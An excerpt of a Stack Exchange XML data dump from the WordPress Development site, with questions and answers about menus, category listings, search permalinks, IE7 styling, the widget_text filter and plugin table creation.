  <row Id="4314" PostTypeId="2" ParentId="4298" CreationDate="2010-11-19T19:41:00.447" Score="2" ViewCount="" Body="&lt;p&gt;Use CSS to add an image instead of text&lt;/p&gt;&#xA;&#xA;&lt;p&gt;see:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wpweaver.info/menu-bar-and-background-images/&quot; rel=&quot;nofollow&quot;&gt;http://wpweaver.info/menu-bar-and-background-images/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.forums.wordpress.com/topic/cutline-gt-coraline-replacing-menu-items-with-graphics&quot; rel=&quot;nofollow&quot;&gt;http://en.forums.wordpress.com/topic/cutline-gt-coraline-replacing-menu-items-with-graphics&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wpveda.com/how-to-add-images-inside-wordpress-3-0-custom-menu/&quot; rel=&quot;nofollow&quot;&gt;http://wpveda.com/how-to-add-images-inside-wordpress-3-0-custom-menu/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="576" LastEditorUserId="576" LastEditorDisplayName="" LastEditDate="2010-11-19T19:47:54.187" LastActivityDate="2010-11-19T19:47:54.187" />
  <row Id="4315" PostTypeId="2" ParentId="4293" CreationDate="2010-11-19T19:54:56.493" Score="2" ViewCount="" Body="&lt;p&gt;For the part of opening a lightbox, browse for something and then performing something on an action within: Wordpress has this already build in. For what you ask is basically the thickbox that opens up like in the post editor when you browse for an image in the gallery.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You find all the code you need for that already &lt;em&gt;in&lt;/em&gt; wordpress. The only thing you need to do is to collect the rather more complex chunk of code, package it up in a plugin on it's own and modify it to fit your needs. Those components are not very re-useable on their own, so there is no API which could have made this easier for you. Well, that's not really true, you can use &lt;code&gt;tb_show()&lt;/code&gt; to display the thickbox for &lt;a href=&quot;http://wordpress.stackexchange.com/questions/4308/querystring-data-gets-truncated&quot;&gt;example&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But overall, this is not trivial. You probably are looking for something that is easier to adopt. I don't know. I once tinkered with thickbox &amp;lt;-&gt; post editor communication (which might be more complex with what you need), and there is a lot to think about to do things. But for the scenario you describe, it's often needed, to signal the page that is opening the thickbox to update something after the selection in the popup has been made.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the metabox, you should find enough code-snippets how to create one, so I'm pretty sure that there is already code for that.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-11-19T19:54:56.493" />
  <row Id="4316" PostTypeId="2" ParentId="4283" CreationDate="2010-11-19T20:08:48.640" Score="0" ViewCount="" Body="&lt;p&gt;Okay, here is how to do that and - for further reference - some infos how you can get the most of these wordpress functions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're using a function like the one you used in your code, you should checkout the according codex documentation page: &lt;a href=&quot;http://codex.wordpress.org/Template_Tags/wp_list_categories&quot; rel=&quot;nofollow&quot;&gt;wp_list_categories()&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Often these function have multiple parameters with which you can control what the function is doing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Gladly for what you ask for, a parameter already exists: &lt;code&gt;current_category&lt;/code&gt;. You can make use of it to signal what the current category is. Probably this is how it could look like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if(is_page('realisations')) { &#xA;    // get the first category id of the post/page&#xA;    $category = (int) reset(get_the_category());&#xA;?&amp;gt;&#xA;&amp;lt;ul id=&quot;subpage&quot;&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;strong&amp;gt;Les secteurs&amp;lt;/strong&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;?php wp_list_categories('child_of=3&amp;amp;current_category='.$category.'&amp;amp;title_li='); ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&amp;lt;?php }; if(is_category() or is_single()) { ?&amp;gt;&#xA;&amp;lt;ul id=&quot;subpage&quot;&amp;gt;&#xA;    &amp;lt;li&amp;gt;Les secteurs&amp;lt;/li&amp;gt;&#xA;    &amp;lt;?php wp_list_categories('child_of=3&amp;amp;title_li='); ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&amp;lt;?php }; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-11-19T20:08:48.640" />
  <row Id="4317" PostTypeId="2" ParentId="4236" CreationDate="2010-11-19T20:42:32.710" Score="1" ViewCount="" Body="&lt;p&gt;Let's give this a guess out of the blue: Check the encoding of your plugin file. It should be ASCII, also named US-ASCII or ascii-7bit. This ensures that your plugin is most compatible to wordpress installations out there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This information is probably useful for you to find out about the actual encoding of your plugins files (you need to encode all as ascii 7 bit if you have more then one): &lt;a href=&quot;http://developers.sun.com/global/technology/standards/reference/faqs/determining-file-encoding.html&quot; rel=&quot;nofollow&quot;&gt;How Can I Determine the Encoding of a File?&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To change the file encoding, this depends on the editor you are using. As I don't know which one, I can not offer any more information about this then, that editors tend to have an option to specify the file encoding in the save-as dialog -or- somewhere in the menus while you have opened the file in question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have characters in your file the get broken when you save your file in another encoding (make a backup first!), you might probably want to encode them as UTF-8. That done, the file is still compatible with most (but not all) sites. And this might prevent you from loosing characters in your file(s).&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-11-19T20:42:32.710" />
  <row Id="4318" PostTypeId="2" ParentId="2770" CreationDate="2010-11-19T20:54:56.653" Score="1" ViewCount="" Body="&lt;p&gt;This is something that should be put into a ticket on WordPress Trac for the UI group to go over. &lt;a href=&quot;http://core.trac.wordpress.org/&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(&lt;em&gt;Edit:&lt;/em&gt; Related Ticket is &lt;a href=&quot;http://core.trac.wordpress.org/ticket/14660&quot; rel=&quot;nofollow&quot;&gt;#14660 - Hierarchical Page List in wp-admin/nav-menus.php&lt;/a&gt;)&lt;/p&gt;&#xA;" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-06T13:54:04.947" LastActivityDate="2011-02-06T13:54:04.947" CommentCount="1" />
  <row Id="4319" PostTypeId="1" AcceptedAnswerId="4327" CreationDate="2010-11-19T21:07:15.003" Score="1" ViewCount="233" Body="&lt;p&gt;how to make permalink available for search result page &lt;/p&gt;&#xA;&#xA;&lt;p&gt;/?s=one+two+ok to /search/one-two-ok/ &lt;/p&gt;&#xA;&#xA;&lt;p&gt;thank&lt;/p&gt;&#xA;" OwnerUserId="492" LastActivityDate="2010-11-19T23:20:01.363" Title="Search result permalink" Tags="&lt;permalinks&gt;&lt;search&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="4320" PostTypeId="2" ParentId="4293" CreationDate="2010-11-19T21:09:52.167" Score="2" ViewCount="" Body="&lt;p&gt;Maybe something here will help..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://austinpassy.com/2010/03/creating-custom-metaboxes-and-the-built-in-uploader/&quot; rel=&quot;nofollow&quot;&gt;http://austinpassy.com/2010/03/creating-custom-metaboxes-and-the-built-in-uploader/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2010-11-19T21:09:52.167" />
  <row Id="4321" PostTypeId="2" ParentId="4319" CreationDate="2010-11-19T21:34:42.513" Score="0" ViewCount="" Body="&lt;p&gt;i found this &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^search/(.+)?$ /index.php?s=$1 [QSA,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and in form &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form action=&quot;;/index.php&quot; method=&quot;get&quot; onsubmit=&quot;location.href='/search/' + encodeURIComponent(this.s.value).replace(/%20/g, '+'); return false;&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;source : &lt;a href=&quot;http://www.h4x3d.com/seo-wordpress-search-with-permalink-structure/&quot; rel=&quot;nofollow&quot;&gt;seo-wordpress-search-with-permalink-structure/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you have a better solution i want it&lt;/p&gt;&#xA;" OwnerUserId="492" LastActivityDate="2010-11-19T21:34:42.513" />
  <row Id="4322" PostTypeId="2" ParentId="4276" CreationDate="2010-11-19T22:03:29.127" Score="3" ViewCount="" Body="&lt;p&gt;Basic programming techniques you should have learned before building a plugin:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You can concatenate checks with &amp;amp;&amp;amp; und ||&lt;/li&gt;&#xA;&lt;li&gt;You can wrap each generate statement in its own check&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;SQL syntax you should have looked into before writing queries on your own:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://dev.mysql.com/doc/refman/5.1/en/create-table.html&quot; rel=&quot;nofollow&quot;&gt;IF NOT EXISTS&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;On a related note, please make sure that you delete these tables when the plugin is &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_uninstall_hook&quot; rel=&quot;nofollow&quot;&gt;uninstalled/deleted&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: No offense intended, but it &lt;em&gt;does&lt;/em&gt; look like you copy pasted without knowing what the code does. Please be aware that by doing this in a plugin you risk other people's installations!&lt;/p&gt;&#xA;" OwnerUserId="1524" LastActivityDate="2010-11-19T22:03:29.127" CommentCount="1" />
  <row Id="4323" PostTypeId="2" ParentId="4264" CreationDate="2010-11-19T22:14:16.370" Score="0" ViewCount="" Body="&lt;p&gt;You can also find a good example of using the &lt;code&gt;media_buttons_context&lt;/code&gt; filter on the following page.&#xA;&lt;a href=&quot;http://www.morgadinho.org/2009/10/16/wordpress-media-buttons/&quot; rel=&quot;nofollow&quot;&gt;http://www.morgadinho.org/2009/10/16/wordpress-media-buttons/&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know this probably covers what you have already, but wanted to share the link all the same... ;)&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2010-11-19T22:14:16.370" />
  <row Id="4324" PostTypeId="1" AcceptedAnswerId="4326" CreationDate="2010-11-19T22:37:34.970" Score="1" ViewCount="94" Body="&lt;p&gt;Working on a site for a client: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://esteyprinting.jasinternetmarketing.com/&quot; rel=&quot;nofollow&quot;&gt;http://esteyprinting.jasinternetmarketing.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I added an HTML table to header.php to include the &quot;Call us at...&quot; and the social media icons. It renders fine in most browsers but IE7 screws up that table. I ran it through the W3C validator and that part of the code is fine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see what I mean by putting the above URL into: &lt;a href=&quot;http://ipinfo.info/netrenderer/&quot; rel=&quot;nofollow&quot;&gt;http://ipinfo.info/netrenderer/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas for how to solve the problem? Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jim&lt;/p&gt;&#xA;" OwnerUserId="711" LastActivityDate="2010-11-19T22:54:19.597" Title="Adding HTML to the Header, Screws up in IE7" Tags="&lt;css&gt;&lt;html&gt;" AnswerCount="1" />
  <row Id="4325" PostTypeId="1" AcceptedAnswerId="4328" CreationDate="2010-11-19T22:53:21.093" Score="0" ViewCount="574" Body="&lt;p&gt;I need more control over the category listing output, so I'm using get_categories (http://codex.wordpress.org/Function_Reference/get_categories), instead of wp_list_categories (http://codex.wordpress.org/Template_Tags/wp_list_categories).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This function returns a flat array of objects ordered by a certain attribute. How can I build a hierarchical list from it like wp_list_categories() does?&lt;/p&gt;&#xA;" OwnerUserId="600" LastActivityDate="2010-11-20T12:12:46.670" Title="Reproducing hierarchical list output from wp_list_categories, using get_categories()" Tags="&lt;3.0&gt;&lt;taxonomy&gt;" AnswerCount="2" />
  <row Id="4326" PostTypeId="2" ParentId="4324" CreationDate="2010-11-19T22:54:19.597" Score="3" ViewCount="" Body="&lt;p&gt;Write a stylesheet just for ie7 and link it in wordpress like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!--[if IE 7]&amp;gt;&amp;lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;&amp;lt;?php bloginfo('stylesheet_directory'); ?&amp;gt;/css/ie7.css&quot; /&amp;gt;&amp;lt;![endif]--&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in the file add this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#header table {float:right;}&#xA;#header table tr td p {margin-top:45px;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1352" LastActivityDate="2010-11-19T22:54:19.597" CommentCount="1" />
  <row Id="4327" PostTypeId="2" ParentId="4319" CreationDate="2010-11-19T23:20:01.363" Score="3" ViewCount="" Body="&lt;p&gt;That kind of search request should already work(query it directly in your address bar), the component you're missing is redirecting the non-pretty search requests..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For doing the redirect, you should find the following plugin still works..&#xA;&lt;a href=&quot;http://txfx.net/wordpress-plugins/nice-search/&quot; rel=&quot;nofollow&quot;&gt;http://txfx.net/wordpress-plugins/nice-search/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps..&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2010-11-19T23:20:01.363" CommentCount="3" />
  <row Id="4328" PostTypeId="2" ParentId="4325" CreationDate="2010-11-19T23:32:48.610" Score="2" ViewCount="" Body="&lt;p&gt;The most ideal solution for walking over the data is to use the WordPress walker class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/Walker_Class&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/Walker_Class&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You won't find many an example around the web for using it, but one was given by Scribu here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://scribu.net/wordpress/extending-the-category-walker.html&quot; rel=&quot;nofollow&quot;&gt;http://scribu.net/wordpress/extending-the-category-walker.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also look to the classes WordPress uses to extend the walker as further examples.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.1/wp-includes/classes.php&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/browser/tags/3.0.1/wp-includes/classes.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps..&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2010-11-19T23:32:48.610" CommentCount="2" />
  <row Id="4329" PostTypeId="2" ParentId="4304" CreationDate="2010-11-20T00:48:30.840" Score="3" ViewCount="" Body="&lt;p&gt;Another gotcha is your hard coded &lt;code&gt;/wp-content/&lt;/code&gt;.&#xA;Use &lt;code&gt;WP_CONTENT_DIR&lt;/code&gt; for file access and &lt;code&gt;WP_CONTENT_URL&lt;/code&gt; for HTTP requests or better yet &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_upload_dir&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_upload_dir()&lt;/code&gt;&lt;/a&gt; for both. I have some installations running where wp-content is on another domain and in a path outside of the WordPress directory. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, even if you get the correct &lt;code&gt;blogi_id&lt;/code&gt;, you may not find the files. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My little debug plugin &lt;a href=&quot;https://gist.github.com/701718&quot; rel=&quot;nofollow&quot;&gt;Show Upload Info&lt;/a&gt; may give some hints. But the results of &lt;code&gt;is_dir()&lt;/code&gt; aren’t reliable, unfortunately.&lt;/p&gt;&#xA;" OwnerUserId="73" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2010-11-22T14:24:53.143" LastActivityDate="2010-11-22T14:24:53.143" CommentCount="3" />
  <row Id="4330" PostTypeId="1" AcceptedAnswerId="4356" CreationDate="2010-11-20T01:16:28.357" Score="1" ViewCount="111" Body="&lt;p&gt;Is there a WP plugin that allows user to edit in-page footnotes in WYSIWYG manner?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No weird syntax.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No HTML pane.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps I'm missing something, as I'm new to WP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All footnote plugins that I saw use custom syntax. Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Blah blah blah ((my footnote)) blah&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Other:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Blah blah blah [ref]my footnote[/ref]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I need plugin that will allow user to edit footnotes visually, like Word does.&lt;/p&gt;&#xA;" OwnerUserId="1642" LastEditorUserId="1642" LastEditorDisplayName="" LastEditDate="2010-11-20T09:05:24.977" LastActivityDate="2010-11-20T23:07:05.497" Title="WYSIWYG-able Footnote Plugin" Tags="&lt;plugin-recommendation&gt;" AnswerCount="2" CommentCount="7" />
  <row Id="4331" PostTypeId="2" ParentId="4281" CreationDate="2010-11-20T01:19:33.000" Score="2" ViewCount="" Body="&lt;p&gt;See also &lt;a href=&quot;http://wordpress.stackexchange.com/questions/3097/how-can-i-add-a-url-field-to-the-attachments-window/3108#3108&quot;&gt;How can I add a URL field to the attachments window?&lt;/a&gt; where I’ve posted a small demo plugin.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2010-11-20T01:19:33.000" />
  <row Id="4332" PostTypeId="2" ParentId="4276" CreationDate="2010-11-20T02:11:44.233" Score="5" ViewCount="" Body="&lt;p&gt;I only took a cursory glance at your code, but you've at least three issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first is security related:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CREATE TABLE &quot; . $table_name1 . &quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You never know what kind of garbage your function might receive, so better write it like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CREATE TABLE `&quot; . str_replace('`', '', $table_name1) . &quot;`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The second is SQL related and already highlighted:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CREATE TABLE&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Should be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CREATE TABLE IF NOT EXISTS&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The last and most important is PHP syntax related. The second call to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$sql =&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Should be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$sql .=&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Else you'll never create the first table. Ever.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lastly, as pointed out in a previous message, it's good practice to store the version of your plugin, or of its tables, in an option. This allows to upgrade it more easily when its own options, and its schema, change.&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-11-20T02:11:44.233" CommentCount="5" />
  <row Id="4333" PostTypeId="1" CreationDate="2010-11-20T05:53:51.107" Score="1" ViewCount="255" Body="&lt;p&gt;I am not able to use %post_title% in the description part ,it's displaying as %post_title% itself.. we can use other tags like %blog_title% , but the %post_title% is not working ..&#xA;please help..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="1643" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-11-21T19:53:06.897" LastActivityDate="2011-05-08T09:17:03.843" Title="use %post_title% in description (All in one SEO Pack)" Tags="&lt;plugin-all-in-one-seo&gt;" AnswerCount="2" />
  <row Id="4335" PostTypeId="2" ParentId="4330" CreationDate="2010-11-20T06:56:48.403" Score="0" ViewCount="" Body="&lt;p&gt;Not sure this is what you mean, but if you use custom_fields to generate the footnotes, you can use &lt;a href=&quot;http://wordpress.org/extend/plugins/more-fields/&quot; rel=&quot;nofollow&quot;&gt;more fields plugin&lt;/a&gt; and use the WYSIWYG field for that usage.&lt;/p&gt;&#xA;" OwnerUserId="395" LastActivityDate="2010-11-20T06:56:48.403" />
  <row Id="4336" PostTypeId="1" AcceptedAnswerId="4337" CreationDate="2010-11-20T09:45:40.043" Score="2" ViewCount="157" Body="&lt;p&gt;Is there any filter which can be used in a plugin to process the content of the text widget before it is rendered?&lt;/p&gt;&#xA;" OwnerUserId="353" LastEditorUserId="576" LastEditorDisplayName="" LastEditDate="2010-11-20T11:07:24.860" LastActivityDate="2010-11-20T11:14:07.633" Title="Is There A Hook To Process The Content Of The Text Widget?" Tags="&lt;plugin-development&gt;&lt;3.0.1&gt;&lt;widgets&gt;&lt;widget-text&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="4337" PostTypeId="2" ParentId="4336" CreationDate="2010-11-20T10:36:02.800" Score="3" ViewCount="" Body="&lt;h1&gt;Filter&lt;/h1&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;widget_text (for the text)&lt;/li&gt;&#xA;&lt;li&gt;widget_title (for the title)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h1&gt;Example&lt;/h1&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function add_smiley($content) {&#xA;$new_content = '';&#xA;$new_content.= $content . ':)';&#xA;return $new_content;&#xA;}   &#xA;add_filter('widget_text', 'add_smiley');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that this works only for the content so not if you have a widget with only a title.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Reference&lt;/h1&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/WordPress_Widgets&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/WordPress_Widgets&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://stackoverflow.com/questions/1385954/do-wordpress-widget-or-sidebar-hooks-exist&quot;&gt;http://stackoverflow.com/questions/1385954/do-wordpress-widget-or-sidebar-hooks-exist&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://stackoverflow.com/search?q=wordpress+widget&quot;&gt;http://stackoverflow.com/search?q=wordpress+widget&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="576" LastEditorUserId="576" LastEditorDisplayName="" LastEditDate="2010-11-20T11:14:07.633" LastActivityDate="2010-11-20T11:14:07.633" />
  <row Id="4338" PostTypeId="2" ParentId="4336" CreationDate="2010-11-20T11:02:07.233" Score="3" ViewCount="" Body="&lt;p&gt;You should be able to run a filter on &lt;code&gt;widget_text&lt;/code&gt;. The text widget is the only one that calls the &lt;code&gt;widget_text&lt;/code&gt; hook.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.1/wp-includes/default-widgets.php&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/browser/tags/3.0.1/wp-includes/default-widgets.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Line 380 ..   &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$text = apply_filters( 'widget_text', $instance['text'], $instance );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So in short, Yes! Would be the direct answer to your question. Hope that helps... :)&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2010-11-20T11:02:07.233" />
  <row Id="4339" PostTypeId="2" ParentId="4333" CreationDate="2010-11-20T11:39:19.447" Score="3" ViewCount="" Body="&lt;p&gt;See these posts: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/support/topic/instead-of-seeing-the-actual-post-title-for-pages-i-see-the-text-post_title&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/instead-of-seeing-the-actual-post-title-for-pages-i-see-the-text-post_title&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://caspianit.co.uk/all-in-one-seo-post_title&quot; rel=&quot;nofollow&quot;&gt;http://caspianit.co.uk/all-in-one-seo-post_title&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Someone says there:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use All in one SEO, you need to set Page Title Format: %page_title%. Your page title will be displayed properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have not tried it myself&lt;/p&gt;&#xA;" OwnerUserId="576" LastActivityDate="2010-11-20T11:39:19.447" />
  <row Id="4340" PostTypeId="2" ParentId="4325" CreationDate="2010-11-20T12:01:15.583" Score="0" ViewCount="" Body="&lt;h1&gt;how to build a hierarchical tree from get_categories&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;see:&#xA;&lt;a href=&quot;http://stackoverflow.com/questions/3287603/wordpress-wp-list-categories-problem&quot;&gt;http://stackoverflow.com/questions/3287603/wordpress-wp-list-categories-problem&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in that answer &lt;img src=&quot;http://www.google.com/s2/favicons?domain=www.monkeyman.be&quot; alt=&quot;Jan Fabry&quot;&gt; &lt;a href=&quot;http://www.monkeyman.be/tag/wordpress/&quot; rel=&quot;nofollow&quot;&gt;Jan Fabry&lt;/a&gt; &lt;img src=&quot;http://sstatic.net/wordpress/img/favicon.ico&quot; alt=&quot;jan-fabry&quot;&gt; &lt;a href=&quot;http://wordpress.stackexchange.com/users/8/jan-fabry&quot;&gt;jan-fabry&lt;/a&gt;  does it like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$categories = get_categories();&#xA;&#xA;// First index all categories by parent id, for easy lookup later&#xA;$cats_by_parent = array();&#xA;foreach ($categories as $cat)&#xA;{&#xA;  $parent_id = $cat-&amp;gt;category_parent;&#xA;  if (!array_key_exists($parent_id, $cats_by_parent)) &#xA;  {&#xA;    $cats_by_parent[$parent_id] = array();&#xA;  }&#xA;  $cats_by_parent[$parent_id][] = $cat;&#xA;}&#xA;&#xA;// Then build a hierarchical tree&#xA;$cat_tree = array();&#xA;function add_cats_to_bag(&amp;amp;$child_bag, &amp;amp;$children)&#xA;{&#xA;   global $cats_by_parent;&#xA;   foreach ($children as $child_cat) &#xA;   {&#xA;     $child_id = $child_cat-&amp;gt;cat_ID;&#xA;     if (array_key_exists($child_id, $cats_by_parent)) &#xA;     {&#xA;        $child_cat-&amp;gt;children = array();&#xA;        add_cats_to_bag($child_cat-&amp;gt;children, $cats_by_parent[$child_id]);&#xA;     }&#xA;     $child_bag[$child_id] = $child_cat;&#xA;   }&#xA;}&#xA;add_cats_to_bag($cat_tree, $cats_by_parent[0]);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="576" LastEditorUserId="576" LastEditorDisplayName="" LastEditDate="2010-11-20T12:12:46.670" LastActivityDate="2010-11-20T12:12:46.670" />
